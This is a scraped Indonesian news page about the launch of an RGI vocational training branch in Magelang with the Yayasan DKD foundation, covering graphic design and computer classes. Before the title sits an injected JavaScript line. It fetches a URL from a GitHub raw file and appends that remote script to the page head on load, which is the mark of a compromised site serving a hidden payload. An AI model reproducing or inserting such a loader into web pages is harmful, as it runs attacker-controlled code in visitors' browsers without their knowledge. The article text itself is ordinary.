;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); RGI Magelang Dibuka – Rumah Gemilang Indonesia

RGI Magelang Dibuka

RGI Magelang Dibuka

Awal Ramadhan 1433H, Al Azhar Peduli Ummat (APU) me-launching program Rumah Gemilang Indonesia (RGI) cabang area Magelang dan RGI – Al Azhar Sentra Primer. Pelaksanaan program diklat ini bersinergi dengan mitra jejaring. Bersama Yayasan DKD (Dana Kemanusiaan Dhuafa) Magelang, RGI bersinergi untuk menjalankan program diklat keterampilan yang nilai manfaatnya mampu dijangkau generasi produktif kurang mampu di wilayah Magelang dan sekitarnya. Untuk tahap awal, kelas keterampilan yang dibuka adalah kelas desain grafis dan teknik komputer.

DKD Magelang adalah salah satu mitra jejaring daerah yang rutin mengirimkan peserta diklat RGI – APU sejak tahun 2011 dengan 3 angkatan diklat yang diikuti. “Dari output peserta tiga angkatan yang direkomendasikan oleh DKD Magelang ke RGI – APU, mereka terbukti mampu bersaing dan laku diserap dunia usaha baik di Jakarta atau di Magelang sendiri”, ungkap Rakhmat Raafi, Direktur Badan Pelaksana Yayasan DKD. Sebanyak 16 orang yang mengikuti diklat, sebagian telah bekerja dan sebagian berwirausaha. Bahkan, salah satu lulusan RGI-APU asal Magelang disiapkan menjadi instruktur pelatihan dan supervisor program RGI-Magelang.

Launching secara simbolis diserah terimakan buku panduan pelaksanaan diklat RGI – APU oleh Dwi Kartika Ningsih, Direktur RGI kepada Drs. Koesdiharno, Ketua Dewan Pembina Yayasan DKD. Acara yang dilaksanakan di kantor Wisma Zakat DKD di Kedungsari Kota Magelang ini juga dilakukan brainstorming sistem teknis, praktis dan strategis pelaksanaan diklat keterampilan bagi generasi usia produktif dari keluarga kurang mampu.

Sebagai langkah awal, RGI-APU membantu pengadaan 10 unit komputer beserta kelengkapan penunjang proses diklat.  Yayasan DKD menyiapkan ruang kelas dengan kapasitas 30 unit komputer yang nyaman dan representatif, serta biaya operasional program yang suistenable.

No Comments

Add your comment